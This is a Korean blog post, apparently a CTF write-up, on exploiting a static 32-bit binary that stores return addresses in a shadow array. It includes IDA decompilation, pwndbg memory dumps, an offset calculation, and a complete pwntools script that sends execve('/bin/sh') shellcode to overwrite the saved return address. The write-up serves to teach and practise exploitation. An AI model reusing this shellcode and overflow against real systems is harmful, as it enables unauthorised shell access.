티스토리 뷰
친구랑 https://github.com/yacropolisy/pwn_challenge_list/blob/764c8661b5c7f1f07bedb629cd40dd7180bb529e/pwn_list.md
여기 문제들 푸는 중인데 재밌는 문제가 있었다.
스태틱이길래 strace 해봤는데 read 하고 무슨 문자열 출력하고 끝난다.
대충 IDA로 분석 좀 해보면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | void *sub_8048F8F() { void **v0; // edx void *result; // eax char *v2; // [esp+0h] [ebp-8h] char *v3; // [esp+4h] [ebp-4h] void *retaddr; // [esp+Ch] [ebp+4h] array[idx++] = retaddr; v3 = aWelcomeToThisD; v2 = aSeeFlawless; write(1, aWelcomeToThisD, 93); sub_8048F51(); write(1, v2, 16); v0 = &array[--idx]; result = *v0; retaddr = *v0; return result; } | cs |
리네이밍도 대충 해봤다 암튼 array에 retaddr 넣어놓고 함수 몇개 호출하고 array에 있는 값을 retaddr로 다시 넣어준다.(eip 변조 막기 위함인듯?)
1 2 3 4 5 6 7 8 9 10 11 12 13 | void *sub_8048F51() { void **v0; // edx void *result; // eax void *retaddr; // [esp+4h] [ebp+4h] array[idx++] = retaddr; sub_8048F09(); v0 = &array[--idx]; result = *v0; retaddr = *v0; return result; } | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | void *sub_8048F09() { void **v0; // edx void *result; // eax int v2; // [esp+0h] [ebp-100h] void *retaddr; // [esp+104h] [ebp+4h] array[idx++] = retaddr; read(&v2); v0 = &array[--idx]; result = *v0; retaddr = *v0; return result; } | cs |
저 위에 함수 담에 호출되는 함수들이다. v2를 read 하는 부분에서 array에 있는 retaddr를 변조할 수 있다면 아마 익스 가능할 것이다.
A를 200 300 400 개씩 늘려가면서 줘봤는데 500에서 eip가 완전 AAAA로 돌려졌다. 메모리를 보니깐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | pwndbg> x/72wx $esp - 0x108 0x80f0340: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0350: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0360: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0370: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0380: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0390: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f03a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f03b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f03c0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f03d0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f03e0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f03f0: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0400: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0410: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0420: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0430: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0440: 0x41414141 0x41414141 0x41414141 0x41414141 0x80f0450: 0x41414141 0x41414141 0x41414141 0x41414141 | cs |
여기가 buffer 시작주소이고 array가 0x80f04d5 이니깐 buffer부터 0x195만큼 떨어져있으니 그만큼 쉘코드+더미 주고 array에 있는 retaddr를 buffer로 돌리면 쉘이 따일것이다.
근데 계속 EOF가 뜨길래 좀 분석해봤는데
1 2 3 4 5 6 7 8 9 10 11 | pwndbg> x/wx 0x80f04d5 0x80f04d5: 0x00000000 pwndbg> 0x80f04d9: 0x0804902f pwndbg> 0x80f04dd: 0x08048fd5 pwndbg> 0x80f04e1: 0x08048f72 pwndbg> 0x80f04e5: 0x00000000 | cs |
array[idx++] 하면서 retaddr 저장하니깐 함수를 두 번 불렀으니 저기 0x80f04e1을 변조하면 마지막 함수쪽의 retaddr이 변조 될
것이다.
더미를 딱 맞춰서 익스를 돌리니 쉘이 따였다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * p = process('./miteegashun') sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" buf = 0x80f0340 payload = sc payload += "A"*(417-len(sc)) payload +=p32(buf) p.recvuntil("wrong\n") p.sendline(payload) pause() p.interactive() | cs |
'Pwnable > write up' 카테고리의 다른 글
[고등해커] Basic Assembly (0) | 2018.12.02 |
---|---|
P.W.N ctf exploitClass (0) | 2018.11.18 |
P.W.N ctf write up (0) | 2018.11.04 |
[PlaidCTF 2014] kappa (0) | 2018.09.26 |
[DEFCON 2015] r0pbaby (0) | 2018.09.16 |
댓글